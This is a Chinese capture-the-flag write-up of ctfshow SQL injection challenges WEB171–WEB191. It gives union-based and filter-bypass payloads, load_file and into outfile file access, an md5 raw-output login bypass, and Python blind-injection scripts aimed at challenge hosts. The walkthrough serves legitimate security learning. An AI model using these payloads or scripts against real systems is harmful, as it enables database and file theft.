CTFSHOW WEB入门 sql注入
WEB171
没过滤什么,直接写payload
测一下回显数目
1' union select 1,2,3 --+
查看数据库
1' union select 1,database(),3 --+
查看表名
1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow_web' --+
也可以这么写
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
查看字段名
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user'--+
查看flag
1' union select id,username,password from ctfshow_user --+
得到flag:ctfshow{e3544b10-8f25-413b-804a-a3757a72028c}
WEB172
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
1' union select username,password from ctfshow_user2 --+
得到flag:ctfshow{f53d8bca-00da-43f2-86b6-9a69ff193f5d}
WEB173
这次和上一题不一样的是还要检查返回结果是否含有flag
1' union select 1,2,3 --+
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ ctfshow_user,ctfshow_user2,ctfshow_user3
1' union select id,hex(username),hex(password) from ctfshow_user3 --+
得到回显
63746673686F777B34303463373162302D623435302D346330612D383764312D6362623637613834653137387D
编码得到flag
ctfshow{404c71b0-b450-4c0a-87d1-cbb67a84e178}
WEB174
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
过滤了大小写的同时还过滤了数字
运用replace函数替换回显中的数字
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'0','numA'),'1','numB'),'2','numC'),'3','numD'),'4','numE'),'5','numF'),'6','numG'),'7','numH'),'8','numI'),'9','numJ') ,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'0','numA'),'1','numB'),'2','numC'),'3','numD'),'4','numE'),'5','numF'),'6','numG'),'7','numH'),'8','numI'),'9','numJ') from ctfshow_user4 --+
得到
YnumDRmcnumChvdnumDsyYzIwNGEnumDNCnumAnumAYnumCVlLTQnumFYmItYTMnumDMCnumAnumFYTFhZjInumBYWUxZGNnumJ
通过脚本还原其中被替换的数字并输出
import base64 flagstr = 'YnumDRmcnumChvdnumDsyYzIwNGEnumDNCnumAnumAYnumCVlLTQnumFYmItYTMnumDMCnumAnumFYTFhZjInumBYWUxZGNnumJ' flag = flagstr.replace('numA','0').replace('numB','1').replace('numC','2').replace('numD','3').replace('numE','4').replace('numF','5').replace('numG','6').replace('numH','7').replace('numI','8').replace('numJ','9') print(base64.b64decode(flag))
得到flag
ctfshow{2c204a74-4cee-49bb-a370-9a1af25ae1dc}
WEB175
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
\xnn 匹配ASCII代码中十六进制代码为nn的字符
[x00-x7f] 匹配ASCII值从0-127的字符
1' union select username,password from ctfshow_user5 into outfile '/var/html/www/ctf.txt' --+ ctfshow{f3b7cb31-ad89-4a52-9edf-5dc32ced8f4e}
WEB176
无回显
1' union select 1,2,3 --+
有回显
1' uNion seLect 1,2,3 --+
1' uNion seLect 1,username,password from ctfshow_user --+
得到flag
ctfshow{83d96f4e-ffcc-4d25-84a6-0b726d3d5120}
WEB177
过滤了空格以及如#之类的符号
1'%09uNion%09seLect%091,2,3%23
1'%09uNion%09SELECT%091,username,password%09from%09ctfshow_user%23
得到flag
ctfshow{9f621de9-019d-421d-a6ac-6636bc65ad72}
WEB178
1'%0cuNion%0cSELECT%0c1,username,password%0cfrom%0cctfshow_user%23
得到flag
ctfshow{fed0231a-00eb-4761-a97c-2566e5a62600}
WEB179
1'%0cuNion%0cSELECT%0c1,username,password%0cfrom%0cctfshow_user%23
WEB180-WEB182
333'or(id=26)and'1'='1
WEB183
盲注,要写脚本
import requests url = 'http://708e1347-25b2-477e-acca-1113d8732cc2.challenge.ctf.show:8080/select-waf.php' str1 = '{0123456789abcdefghijklmnopqrstuvwxyz-}' payload = '`ctfshow_user`where(substr(`pass`,{},1)regexp(\'{}\'))' flag = '' for i in range(50): if i < 8: continue for c in str1: data = { "tableName": payload.format(str(i), c) } rep = requests.post(url, data) if rep.text.find("$user_count = 1;") > 0: flag += c break print('[*] 开始盲注第{}位为{}'.format(str(i),c)) print('flag is ctfshow{}'.format(flag))
界面中可以看到$user_count = 0;
输入table_name=ctfshow_user;
可以得到返回$user_count = 22;
利用这点
payload = '`ctfshow_user`where(substr(`pass`,{},1)regexp(\'{}\'))'
str1中为flag可能出现的字符
//拼接sql语句查找指定ID用户 $sql = "select count(*) from ".$_POST['tableName'].";";
pass后面为flag
用str1中的字符逐字匹配
最后得到flag
ctfshow{3f532352-4011-4a90-b9c2-a5399b4089eb}
WEB184
核心payload:
ctfshow_user as a join ctfshow_user as b on (substr(b.pass,1,1)regexp(char(99)))
网上找的脚本
import requests url = 'http://a24c7767-cef9-46ef-94b6-02252d022b65.challenge.ctf.show/select-waf.php' payload = 'ctfshow_user as a join ctfshow_user as b on (substr(b.pass,{},1)regexp(char({})))' flag = '' for i in range(45): if i < 8: continue for c in range(127): data = { "tableName": payload.format(str(i), c) } rep = requests.post(url, data) if rep.text.find("$user_count = 43;") > 0: flag += chr(c) break print('[*] 开始盲注第{}位为{}'.format(str(i), c)) print('flag is flag{}'.format(flag))
脚本太慢,下一题
WEB185
过滤了数字
//对传入的参数进行了过滤 function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); }
用true

脚本
# @Author:Y4tacker import requests url = "http://341e93e1-a1e7-446a-b7fc-75beb0e88086.chall.ctf.show/select-waf.php" flag = 'flag{' def createNum(n): num = 'true' if n == 1: return 'true' else: for i in range(n - 1): num += "+true" return num for i in range(45): if i <= 5: continue for j in range(127): data = { "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))" } r = requests.post(url, data=data) if r.text.find("$user_count = 43;") > 0: if chr(j) != ".": flag += chr(j) print(flag.lower()) if chr(j) == "}": exit(0) break
WEB186
和上题一样,找的脚本
# @Author:Y4tacker import requests url = "http://0ee67cf6-8b94-4384-962b-101fce5a7862.chall.ctf.show/select-waf.php" flag = 'flag{' def createNum(n): num = 'true' if n == 1: return 'true' else: for i in range(n - 1): num += "+true" return num for i in range(45): if i <= 5: continue for j in range(127): data = { "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))" } r = requests.post(url, data=data) if r.text.find("$user_count = 43;") > 0: if chr(j) != ".": flag += chr(j) print(flag.lower()) if chr(j) == "}": exit(0) break
WEB187
原理:
https://blog.csdn.net/solitudi/article/details/107813286?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522160631731619195283021913%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=160631731619195283021913&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_blog_default-1-107813286.pc_v2_rank_blog_default&utm_term=md5%20%20_POST%20%20password%20%20,true&spm=1018.2118.3001.4450
$username = $_POST['username']; $password = md5($_POST['password'],true); //只有admin可以获得flag if($username!='admin'){ $ret['msg']='用户名不存在'; die(json_encode($ret)); }
用户名填写admin密码为ffifdyop
hex之后转化为字符串末尾变为 ' ' or '6'
得到flag
ctfshow{d88c69d7-6a8f-44a4-a98c-007ed403bac1}
WEB188
intval — 获取变量的整数值
用户名为0,密码为0
原理
https://stackoverflow.com/questions/18883213/why-select-from-table-where-username-0-shows-all-rows-username-column-is-v
用户名也可以为1<1弱比较
y4talker的博客还有其他方法
WEB189
在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回(https://www.jb51.net/article/158595.htm)
flag在文件/index.php中,需要用脚本,盲注出api/index.php中的flag
username=if((load_file('/var/www/html/api/index.php'))regexp('ctfshow{'),0,1)&password=2
网上找的脚本
# @Author:feng import requests url="http://313b5bc7-3d59-4590-93b8-d2b4e834e62b.chall.ctf.show:8080/api/index.php" flag="ctfshow{" for i in range(0,100): for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}": payload="if((load_file('/var/www/html/api/index.php'))regexp('{}'),0,1)".format(flag+j) data={ 'username':payload, 'password':1 } r=requests.post(url=url,data=data) if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text: flag+=j print(flag) if j=='}': exit() break
WEB190
布尔盲注
脚本
# @Author:feng
import requests
from time import time
url='http://d8b4e7f1-5db5-4fe8-935f-0c4d9fea0b90.challenge.ctf.show/api/index.php'
flag=''
for i in range(1,100):
length=len(flag)
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
if chr(j)==" ":
exit()
break
#payload="' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},1,0)-- -".format(i,j)
#payload="' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{},1,0)-- -".format(i,j)
payload="' or if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))<{},1,0)-- -".format(i,j)
data={
'username':payload,
'password':1
}
r=requests.post(url=url,data=data).text
#print(r)
if r"\u5bc6\u7801\u9519\u8bef" in r:
max=j
else :
min=j
这次的脚本挺快的
得到flag
ctfshow{e8ef07f0-68ab-4223-a63b-6d0d6d4462d3}
WEB191
//密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪 if(preg_match('/file|into|ascii/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); }
过滤了ascii
脚本
# @Author:feng import requests from time import time url='http://00b9416c-a0a8-490b-b48b-b2ace6ec42b2.chall.ctf.show:8080/api/index.php' flag='' for i in range(1,100): length=len(flag) min=32 max=128 while 1: j=min+(max-min)//2 if min==j: flag+=chr(j) print(flag.lower()) if chr(j)==" ": exit() break payload="' or if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)<'{}',1,0)-- -".format(i,chr(j)) data={ 'username':payload, 'password':1 } r=requests.post(url=url,data=data).text #print(r) if r"\u5bc6\u7801\u9519\u8bef" in r: max=j else : min=j
得到flag
ctfshow{2393e0db-5ad3-4977-9bc8-f35a09c7212c}

浙公网安备 33010602011771号